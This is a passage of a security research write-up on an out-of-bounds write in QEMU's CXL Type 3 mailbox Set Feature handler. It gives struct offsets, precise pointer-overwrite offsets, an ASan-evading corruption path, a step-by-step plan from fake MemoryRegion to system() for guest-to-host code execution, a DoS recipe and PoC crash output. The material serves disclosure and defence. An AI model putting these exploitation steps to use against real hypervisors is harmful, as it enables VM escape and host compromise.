                [v]   data_transfer_flag from hdr->flags & 0x7
                [vi]  If INITIATE: set uuid, data_size=0
                [vii] bytes_to_copy = len_in - 32
                [viii] bytes_to_copy == 0? → reject
                [ix]  Match UUID → branch to feature handler
                [x]   Version check: hdr->version == constant → reject if wrong
                [xi]  *** BUG A: NO bounds check on offset+bytes_to_copy ***
                [xii] memcpy(dst + hdr->offset, src, bytes_to_copy) → OOB WRITE
                [xiii] data_size += bytes_to_copy
                [xiv] *** BUG B: On FULL/FINISH/ABORT, memset(dst, 0, data_size) ***

Validation at each step:

  • Step [1]: offset is bounded by MMIO region size (CXL_MAILBOX_REGISTERS_LENGTH)
  • Step [3]: DOORBELL must be set — trivial for guest
  • Step [4]: cmd_set/cmd extracted from register — guest controls them
  • Step [6]: g_memdup2(pl, len_in) — len_in unclamped (separate bug FINDING-030)
  • Step [b]: Variable-length command — no length rejection
  • Step [ii]: len_in >= 32 — minimum payload size enforced
  • Step [x]: Version must match — public CXL spec constant
  • Step [xi]: NO BOUNDS CHECK — this is the vulnerability

Locks: BQL (Big QEMU Lock) held throughout. MMIO handlers run under BQL. No per-device mutex needed. No concurrency concern.

2. Preconditions

  • Device: CXL Type 3 memory device must be present in the VM config
    • Example: -device cxl-type3,bus=root_port,volatile-memdev=vmem,id=ct3d0
    • Requires CXL host bridge and root port in machine config
    • This is the default device type for CXL memory pooling, increasingly common
  • Initialization: No special guest initialization beyond PCI BAR setup
    • Guest writes to mailbox MMIO registers directly
    • No feature negotiation required (unlike virtio)
    • No pre-created resources needed
  • Constants the guest must know (all from public CXL r3.2 spec):
    • Feature UUIDs (128-bit values from spec tables)
    • Version numbers (e.g., soft_ppr = 0x03, sparing = 0x01)
    • Set Feature opcode = 0x0502
  • Default config sufficient: YES. Any CXL Type 3 device registers all feature handlers.

3. Controllability Analysis (GDB-verified struct offsets)

Offsets from GDB ptype /o CXLType3Dev against build-asan binary:

Offset    Size   Field
7100072     32   set_feat_info
7100104     20   soft_ppr_attrs
7100124      3   soft_ppr_wr_attrs          ← TARGET (Bug A)
7100127     20   hard_ppr_attrs
7100147      3   hard_ppr_wr_attrs          ← TARGET (Bug A)
7100150      4   patrol_scrub_attrs
7100154      2   patrol_scrub_wr_attrs      (has memcpy check, Bug B only)
7100156     13   ecs_attrs
7100169      7   ecs_wr_attrs               (has memcpy check, Bug B only)
7100176     19   cacheline_sparing_attrs
7100195      2   cacheline_sparing_wr_attrs ← TARGET (Bug A)
7100197     19   row_sparing_attrs
7100216      2   row_sparing_wr_attrs       ← TARGET (Bug A)
7100218     19   bank_sparing_attrs
7100237      2   bank_sparing_wr_attrs      ← TARGET (Bug A)
7100239     19   rank_sparing_attrs
7100258      2   rank_sparing_wr_attrs      ← TARGET (Bug A)
7100260      1   hdmdb
7100264      8   dc.host_dc                 ← CRITICAL POINTER
7100272    168   dc.host_dc_as              ← AddressSpace (has root MR pointer)
7100440      8   dc.total_capacity
7100448     16   dc.extents                 ← QTAILQ_HEAD (linked list ptrs)
7100464     16   dc.extents_pending
7100480      4   dc.total_extent_count
7100484      4   dc.nr_extents_accepted
7100488      4   dc.ext_list_gen_seq
7100492      1   dc.num_regions
7100496    960   dc.regions[8]              ← CXLDCRegion array (has QemuMutex!)
7101456      8   media_op_sanitize          ← POINTER
7101464            [end of struct, total ~7101472 bytes]

Bug A: Precise Pointer Overwrite via memcpy

From rank_sparing_wr_attrs (offset 7100258, 2 bytes) — closest to dc:

  • hdr->offset = 6 → writes start at dc.host_dc pointer (offset 7100264)
  • bytes_to_copy = 8 → writes exactly 8 bytes = one pointer
  • Guest fully controls the 8-byte pointer value

From soft_ppr_wr_attrs (offset 7100124, 3 bytes) — maximum coverage:

  • hdr->offset = 0, bytes_to_copy = 2016 → overwrites everything from soft_ppr_wr_attrs through offset 7102140, which is 676 bytes past the end of CXLType3Dev
  • This includes: ALL control attrs, hdmdb, host_dc pointer, host_dc_as, total_capacity, extents, extents_pending, regions[], media_op_sanitize, AND heap memory past the object

From soft_ppr_wr_attrs (offset 7100124) — targeted pointer writes:

  • hdr->offset = 140 → precisely targets dc.host_dc (HostMemoryBackend pointer)
  • hdr->offset = 1332 → precisely targets media_op_sanitize (CXLSanitizeInfo pointer)

Bug B: Zero-Fill via memset (works on patrol_scrub/ecs too!)

From patrol_scrub_wr_attrs (offset 7100154, 2 bytes):

  • Memcpy bounds check: offset + bytes_to_copy <= 2. Max bytes_to_copy = 2 per call.
  • But: each call does data_size += 2. After 100 CONTINUE calls → data_size = 200.
  • FINISH: memset(&ct3d->patrol_scrub_wr_attrs, 0, 200) → zeros 198 bytes past struct
  • Zeroing range covers: ecs_attrs, ecs_wr_attrs, all sparing attrs, hdmdb, AND dc.host_dc pointer (at +110 from patrol_scrub_wr_attrs)
  • A NULL host_dc pointer dereferenced later → crash or exploitable NULL deref

From ecs_wr_attrs (offset 7100169, 7 bytes):

  • Max bytes_to_copy = 7 per call. After 100 calls → data_size = 700.
  • FINISH: memset(&ct3d->ecs_wr_attrs, 0, 700) → zeros into dc.regions[]

4. Mitigations Check

  • Reentrancy guard: No disable_reentrancy_guard in CXL code. Default MemoryRegion reentrancy guard is active. No DMA reentrancy concern for this bug (straight MMIO → handler path).
  • AddressSanitizer: YES, catches reliably. The memcpy OOB write would trigger heap-buffer-overflow immediately since soft_ppr_wr_attrs etc. are embedded in a heap-allocated struct. ASan knows the allocation bounds (CXLType3Dev = ~7.1MB) and the offsets within it. For writes past the struct boundary, ASan's redzone detects them. For intra-object overflows (e.g., offset=140 targeting dc.host_dc), ASan may NOT detect it since it's within the same allocation — ASan only checks allocation boundaries, not field boundaries within a struct.
  • QEMU assertions: None in this path. No assert before the memcpy.
  • IOMMU: CXL devices sit on a CXL host bridge, not behind a guest-configured IOMMU by default. The mailbox is MMIO register access, not DMA.

5. Concurrency Analysis

  • BQL: All MMIO handlers run under the Big QEMU Lock. Only one vCPU can execute mailbox_reg_write at a time. No race condition.
  • DOORBELL serialization: The mailbox protocol requires DOORBELL=1 to trigger command processing. The handler clears DOORBELL (line 229-230) before returning. A second vCPU writing DOORBELL while the first is processing sees DOORBELL already set → triggers processing again, but BQL prevents actual concurrency.
  • Background operations: The sanitize operation uses cci->bg.lock mutex. Set Feature is NOT a background operation — it completes synchronously.
  • Multi-threaded QEMU (iothread): If the CXL device were assigned to an iothread (not default), MMIO handlers would run in that iothread's context. But set_feature doesn't interact with timers, BHs, or other async operations, so no additional race conditions arise.

6. Similar Pattern Search

Within cmd_features_set_feature: Pattern repeats 8 times — confirmed 6 vulnerable, 2 safe.

Bug B (memset accumulation): The data_size += bytes_to_copy accumulation at lines 1770, 1797, 1818, 1837, 1856, 1874, 1892, 1910 combined with the unbounded memset at lines 1926-1941 affects ALL 8 features including patrol_scrub and ecs. This is a separate but related OOB primitive.

cmd_fm_set_dc_region_config (line 4099): Separate use-before-check bug. in->reg_id (uint8_t, 0-255) used as index into regions[8] before bounds check at line 4114. OOB heap read. Only reachable via FM tunnel (switch mailbox CCI).

No similar patterns elsewhere in QEMU: The memcpy(struct + guest_offset, data, guest_size) pattern without bounds checking is unique to this CXL Set Feature code. Other devices with similar patterns (IPMI FRU, NVDIMM labels) all have proper validation.

Exploitation Notes (Phase 3 Assessment)

1. Corruption Primitive — Precise Characterization

Two complementary primitives:

Primitive Bug Data Control Offset Control Size Control
Targeted memcpy A FULL — guest payload bytes 0-65535 (hdr->offset) 1-2016 bytes (len_in - 32)
Zeroing memset B None (always 0x00) Fixed (from wr_attrs base) Unbounded (accumulated data_size)

Bug A in detail: The guest controls:

  • The target: which of 6 wr_attrs fields (soft_ppr, hard_ppr, cacheline/row/bank/rank_sparing)
  • The offset: hdr->offset (uint16_t, 0-65535) — added to target field base
  • The data: bytes_to_copy bytes from mailbox payload — fully guest-controlled
  • The size: len_in - sizeof(CXLSetFeatureInHeader) — up to 2016 bytes

Combined: memcpy(wr_attrs_base + hdr->offset, guest_data, guest_size) with NO bounds check. This is an arbitrary intra-object write within CXLType3Dev (~7.1MB struct) and, for large offsets, past the struct into adjacent heap.

2. Heap Layout Analysis

Allocation: CXLType3Dev is a QOM object allocated as a single contiguous block (~7,101,472 bytes). On glibc 64-bit, this exceeds the 128KB mmap threshold → allocated via mmap(MAP_ANONYMOUS).

Critical insight: INTRA-OBJECT overflow bypasses ASan. The corruption targets (dc.host_dc, dc.host_dc_as, dc.regions[]) are all WITHIN the same 7.1MB allocation. ASan only detects writes past the allocation boundary. Writes to dc.host_dc at offset 7100264 within a 7101472-byte allocation are invisible to ASan. The attacker can corrupt internal pointers silently even under ASan builds.

ASan only catches writes that exceed the allocation boundary (Bug A with very large offsets or soft_ppr offset=0 + 2016 bytes past struct end).

Adjacent heap objects (past allocation boundary):

  • mmap-based allocation → kernel-chosen VA, limited adjacency control
  • For offsets within the struct, adjacency is irrelevant (intra-object)

3. Key Exploitation Targets (All Intra-Object)

Target 1: dc.host_dc_as.root (AddressSpace root MemoryRegion pointer)

Property Value
Absolute offset 7100296 (dc.host_dc_as at 7100272, .root at +24)
From soft_ppr_wr_attrs (7100124) offset = 172
From rank_sparing_wr_attrs (7100258) offset = 38
Size 8 bytes (pointer)
Data control FULL — guest writes any 8-byte value
ASan detection NONE (intra-object)

When corrupted: address_space_set() called from sanitize path reads as->root and walks the MemoryRegion tree. If root points to a fake MemoryRegion with a crafted .ops table, memory_region_dispatch_write() calls mr->ops->write()function pointer call from attacker-controlled data. This is the primary code execution vector.

Target 2: dc.host_dc (HostMemoryBackend pointer)

Property Value
Absolute offset 7100264
From rank_sparing_wr_attrs (7100258) offset = 6
Size 8 bytes (pointer)

When corrupted: host_memory_backend_get_memory(ct3d->dc.host_dc) reads backend->mr (embedded MemoryRegion at ~offset 80 within the fake object). Called from get_dc_size() used in multiple CXL commands. Dereference chain: fake_ptr → read mr fields → memory_region_size().

Target 3: dc.regions[].bitmap_lock (QemuMutex)

Property Value
Absolute offset 7100496 + N*120 (per region)
Size ~40 bytes per mutex

Corrupting a pthread mutex causes undefined behavior on next lock/unlock: deadlock, SIGSEGV, or data corruption depending on the garbage values.

Target 4: media_op_sanitize (CXLSanitizeInfo pointer)

Property Value
Absolute offset 7101456
From soft_ppr_wr_attrs (7100124) offset = 1332
Size 8 bytes (pointer)

If a sanitize is in progress, corrupting this pointer and then triggering sanitize completion causes UAF/type confusion on the fake pointer.

4. Information Leak Potential

Get Feature (cmd 0x0501): Returns READ-ONLY attributes (soft_ppr_attrs, NOT soft_ppr_wr_attrs). The read attributes are separate structs containing only small fixed-size fields (flags, counts). No pointers are returned to the guest. No direct info leak via Get Feature.

Get Feature offset parameter: Properly bounded — if (offset >= sizeof(attrs)) return error. Cannot read past attribute struct boundaries.

Indirect info probe: The attacker can observe behavioral differences after corrupting pointers:

  • Corrupt dc.host_dc → trigger DCD command → success vs error reveals whether the fake pointer happens to be valid
  • Very weak oracle (similar to F-021's 1-bit probe)

No ASLR bypass available from this bug alone. The attacker needs either:

  • A separate info leak vulnerability (e.g., FINDING-028 DOE CDAT leak)
  • A partial pointer overwrite strategy (keep high bytes, change low bytes)
  • Brute-forcing (impractical — 2^47 address space on 64-bit)

5. Exploitation Strategy

Strategy A: dc.host_dc_as.root + Sanitize → Function Pointer Call (MEDIUM)

Phase 1: Corrupt dc.host_dc_as.root (intra-object, ASan-invisible)
  - Set Feature: soft_ppr UUID, offset=172, 8 bytes = fake MR address
  - Requires: knowing address of fake MemoryRegion (needs ASLR bypass)

Phase 2: Place fake MemoryRegion + MemoryRegionOps on heap
  - Heap spray via CXL mailbox payload writes (2048B payload area)
  - Or via other device allocations at predictable offsets
  - Fake MR must have: valid .ops pointer → fake ops table
  - Fake ops table has: .write = target function (e.g., system())

Phase 3: Trigger dereference via Sanitize command
  - Guest sends Media Operations Sanitize (opcode 0x0401)
  - sanitize_range() → address_space_set(&ct3d->dc.host_dc_as, ...)
  - address_space_set reads corrupted as->root → fake MR
  - memory_region_dispatch_write(fake_mr, ...) → calls fake .write()
  - RCE achieved

Strategy B: Partial pointer overwrite on dc.host_dc (MEDIUM-LOW)

- Overwrite only the low 2-4 bytes of dc.host_dc pointer
  (requires knowing the high bytes — usually stable across runs)
- Redirect to a different HostMemoryBackend or nearby object
- The redirected backend->mr gives access to different memory
- Not direct RCE but can cause memory region confusion

Strategy C: Zeroing dc.host_dc via Bug B (EASY DoS)

- Use patrol_scrub UUID (HAS memcpy check, safe for data)
- 55 CONTINUE transfers → data_size=110
- FINISH → memset(&patrol_scrub_wr_attrs, 0, 110)
- Zeros reach dc.host_dc (110 bytes away) → NULL pointer
- Next DCD command → NULL deref → crash
- Completely silent under ASan (memset within allocation bounds)

Strategy D: Chain with FINDING-028 for info leak (HIGH)

- FINDING-028 leaks heap data via DOE CDAT entry_handle OOB read
- Leaked data contains HostMemoryBackend pointers, MR addresses
- Use leaked addresses to compute precise pointer values
- Then use FINDING-027 to overwrite dc.host_dc_as.root with
  exact address of a fake object
- Trigger sanitize → code execution

6. Practical Constraints

Factor Assessment
Configuration Requires CXL Type 3 device — non-default, used for CXL memory pooling/expansion
Works under KVM YES — CXL mailbox is MMIO emulation, runs in QEMU userspace
Trigger reliability HIGH — single MMIO write, deterministic, BQL-serialized
Retry capability LIMITED — pointer corruption is destructive. NULL'd pointers crash on next use. But attacker can choose to corrupt non-critical fields first for reconnaissance.
ASan detection NONE for intra-object writes (corruption of dc.host_dc, dc.host_dc_as within same allocation). ASan only catches past-allocation writes.
Info leak NONE from this bug alone. Need FINDING-028 or similar for ASLR bypass.
Data control FULL — guest controls every byte written
Offset control FULL — guest chooses write offset (0-65535)
Function pointer chain EXISTS — dc.host_dc_as.root → sanitize → address_space_set → memory_region_dispatch_write → mr->ops->write()

7. Exploitability Rating

Overall: HIGH for targeted corruption, MEDIUM for RCE, HIGH for DoS

  • Targeted pointer corruption: Trivially reliable. Guest sends one Set Feature command → overwrites dc.host_dc or dc.host_dc_as.root with controlled 8 bytes. Invisible to ASan (intra-object overflow). This is unique among all findings.
  • DoS: Trivial. Zero dc.host_dc via Bug B, or corrupt any pointer → crash on next use. Silent under ASan.
  • RCE: Requires ASLR bypass (no built-in info leak). With FINDING-028 info leak chain, full RCE is viable: leak addresses → compute fake MR location → corrupt dc.host_dc_as.root → trigger sanitize → function pointer call.
  • ASan bypass: The intra-object nature means this is the ONLY finding that can corrupt pointers undetected even under ASan. All other findings (F-006, F-018, F-020, F-021) are caught by ASan on the initial OOB write. F-027's initial corruption is invisible.

Comparison with other HIGH findings:

  • F-020 (virtio core): More exploitable for RCE due to built-in info leak. But F-020 requires in_order=on. F-027 requires CXL device.
  • F-006 (virtio-gpu): Larger overflow but mmap-isolated, no intra-object. F-027's targeted precision is stronger.
  • F-027 + F-028 chain: The combined CXL attack (F-028 info leak + F-027 controlled write) rivals F-020 for exploitability. Both provide leak+write, but F-027's write is more precise (arbitrary offset, full data control) and F-027 bypasses ASan for the initial corruption.

PoC (ASan-verified)

QTest PoC targeting ASan detection:

  1. Launch QEMU with CXL Type 3 device (q35 + pxb-cxl + cxl-rp + cxl-type3)
  2. Program PCI bus numbers (root port secondary=53)
  3. Program BAR 2 for mailbox MMIO access (0xFE000000)
  4. Write Set Feature command (0x0502) with soft_ppr UUID, offset=0, 2016 bytes payload
  5. Set DOORBELL → triggers OOB memcpy at cxl-mailbox-utils.c:1816
  6. ASan detects heap-buffer-overflow: WRITE of size 2016, 0 bytes past 7101472-byte CXLType3Dev allocation

ASan Report (verified)

==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x...
WRITE of size 2016 at 0x...
    #0 ... in __interceptor_memcpy
    #1 ... in cmd_features_set_feature ../hw/cxl/cxl-mailbox-utils.c:1816
    #2 ... in cxl_process_cci_message ../hw/cxl/cxl-mailbox-utils.c:4623
    #3 ... in mailbox_reg_write ../hw/cxl/cxl-device-utils.c:209
0x... is located 0 bytes to the right of 7101472-byte region

Path to QTest PoC: poc/FINDING-027-poc.c Path to README: poc/FINDING-027-README.md

Related CVEs

  • No prior CVEs for CXL (0 CVEs, 20 security fixes — brand new, never audited)
  • Pattern similar to classic memcpy-with-unchecked-offset bugs

Timeline

  • 2026-03-03: Found during Phase 1 scan of CXL-01
  • 2026-03-03: Deep-dive analysis — confirmed struct layout, dual primitives (memcpy + memset), precise pointer targets via GDB
  • 2026-03-03: QTest PoC written (poc/FINDING-027-poc.c)
  • 2026-03-15: Phase 3 exploitability assessment. UNIQUE among all findings: intra-object overflow bypasses ASan (corruption of dc.host_dc, dc.host_dc_as within same 7.1MB allocation is invisible to ASan). Primary RCE target: corrupt dc.host_dc_as.root → trigger sanitize → address_space_set → memory_region_dispatch_write → fake ops→write() function pointer call. Full guest control over written data+offset. No info leak from this bug alone — needs F-028 chain for ASLR bypass. DoS trivial (zero dc.host_dc via Bug B, invisible to ASan). Combined F-027+F-028 CXL chain rivals F-020 for best exploitability.
$ ASAN_OPTIONS="detect_leaks=0:halt_on_error=1:abort_on_error=1:redzone=512" UBSAN_OPTIONS="halt_on_error=1:abort_on_error=1:print_stacktrace=1" QTEST_QEMU_BINARY=./qemu-system-x86_64 ./tests/qtest/finding-027-poc
# random seed: R02S7538273b8b49d95587d61c6e6db330d7
1..1
# Start of x86_64 tests
# Start of cxl tests
# starting QEMU: exec ./qemu-system-x86_64 -qtest unix:/tmp/qtest-2737801.sock -qtest-log /dev/null -chardev socket,path=/tmp/qtest-2737801.qmp,id=char0 -mon chardev=char0,mode=control -display none -audio none -run-with exit-with-parent=on -machine q35,cxl=on -device pxb-cxl,id=cxl.0,bus=pcie.0,bus_nr=52 -device cxl-rp,id=rp0,bus=cxl.0,chassis=0,slot=0 -object memory-backend-ram,id=cxl-mem0,size=256M -device cxl-type3,bus=rp0,volatile-memdev=cxl-mem0,id=mem0 -M cxl-fmw.0.targets.0=cxl.0,cxl-fmw.0.size=4G -nodefaults -display none -accel qtest
==2737803==WARNING: ASan doesn't fully support makecontext/swapcontext functions and may produce false positives in some cases!
# Found CXL Type 3 at bus=53 dev=0
# BAR 2 programmed at 0xfe000000
# Mailbox capability: 0x000003cb
# Mailbox payload shift: 11 (size=2048 bytes)
# Sending Set Feature (soft_ppr, offset=0, data=2016 bytes)...
# This should trigger heap-buffer-overflow in memcpy at hw/cxl/cxl-mailbox-utils.c:1816
=================================================================
==2737803==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fc4d1bff420 at pc 0x7fc4f18812c3 bp 0x7fff50625e30 sp 0x7fff506255d8
WRITE of size 2016 at 0x7fc4d1bff420 thread T0
#0 0x7fc4f18812c2 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
#1 0x5608e26a94d3 in cmd_features_set_feature ../hw/cxl/cxl-mailbox-utils.c:1816
#2 0x5608e26c8821 in cxl_process_cci_message ../hw/cxl/cxl-mailbox-utils.c:4623
#3 0x5608e2685b61 in mailbox_reg_write ../hw/cxl/cxl-device-utils.c:209
#4 0x5608e3112f66 in memory_region_write_accessor ../system/memory.c:491
#5 0x5608e3113ab8 in access_with_adjusted_size ../system/memory.c:567
#6 0x5608e3121e7a in memory_region_dispatch_write ../system/memory.c:1547
#7 0x5608e31682f4 in flatview_write_continue_step ../system/physmem.c:3241
#8 0x5608e31685e1 in flatview_write_continue ../system/physmem.c:3271
#9 0x5608e3168918 in flatview_write ../system/physmem.c:3302
#10 0x5608e31696bb in address_space_write ../system/physmem.c:3422
#11 0x5608e3182b60 in qtest_process_command ../system/qtest.c:532
#12 0x5608e31879a9 in qtest_process_inbuf ../system/qtest.c:777
#13 0x5608e3187b40 in qtest_read ../system/qtest.c:786
#14 0x5608e4153338 in qemu_chr_be_write_impl ../chardev/char.c:247
#15 0x5608e41533e8 in qemu_chr_be_write ../chardev/char.c:259
#16 0x5608e413e98b in tcp_chr_read ../chardev/char-socket.c:510
#17 0x5608e3d0f863 in qio_channel_fd_source_dispatch ../io/channel-watch.c:84
#18 0x7fc4f1428c43 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55c43)
#19 0x5608e446c637 in glib_pollfds_poll ../util/main-loop.c:290
#20 0x5608e446c82b in os_host_main_loop_wait ../util/main-loop.c:313
#21 0x5608e446cb42 in main_loop_wait ../util/main-loop.c:592
#22 0x5608e318fa76 in qemu_main_loop ../system/runstate.c:907
#23 0x5608e41cc252 in qemu_default_main ../system/main.c:50
#24 0x5608e41cc37a in main ../system/main.c:93
#25 0x7fc4f07add8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#26 0x7fc4f07ade3f in __libc_start_main_impl ../csu/libc-start.c:392
#27 0x5608e22d4224 in _start (/media/psf/user/_tmp/qemu_research/qemu/build-asan/qemu-system-x86_64+0x3139224)
0x7fc4d1bff420 is located 0 bytes to the right of 7101472-byte region [0x7fc4d1539800,0x7fc4d1bff420)
allocated by thread T0 here:
#0 0x7fc4f18fb887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x7fc4f1431738 in g_malloc (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5e738)
#2 0x5608e3cc9e0e in object_new ../qom/object.c:789
#3 0x5608e3cb1e1f in qdev_new ../hw/core/qdev.c:149
#4 0x5608e317ae21 in qdev_device_add_from_qdict ../system/qdev-monitor.c:701
#5 0x5608e317b15f in qdev_device_add ../system/qdev-monitor.c:749
#6 0x5608e30d2555 in device_init_func ../system/vl.c:1212
#7 0x5608e44354e6 in qemu_opts_foreach ../util/qemu-option.c:1135
#8 0x5608e30dc232 in qemu_create_cli_devices ../system/vl.c:2750
#9 0x5608e30dc996 in qmp_x_exit_preconfig ../system/vl.c:2810
#10 0x5608e30e2577 in qemu_init ../system/vl.c:3847
#11 0x5608e41cc323 in main ../system/main.c:71
#12 0x7fc4f07add8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
Shadow bytes around the buggy address:
0x0ff91a377e30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff91a377e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff91a377e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff91a377e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff91a377e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ff91a377e80: 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa
0x0ff91a377e90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff91a377ea0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff91a377eb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff91a377ec0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff91a377ed0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2737803==ABORTING
Broken pipe
../tests/qtest/libqtest.c:210: kill_qemu() detected QEMU death from signal 6 (Aborted) (core dumped)
Aborted (core dumped)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment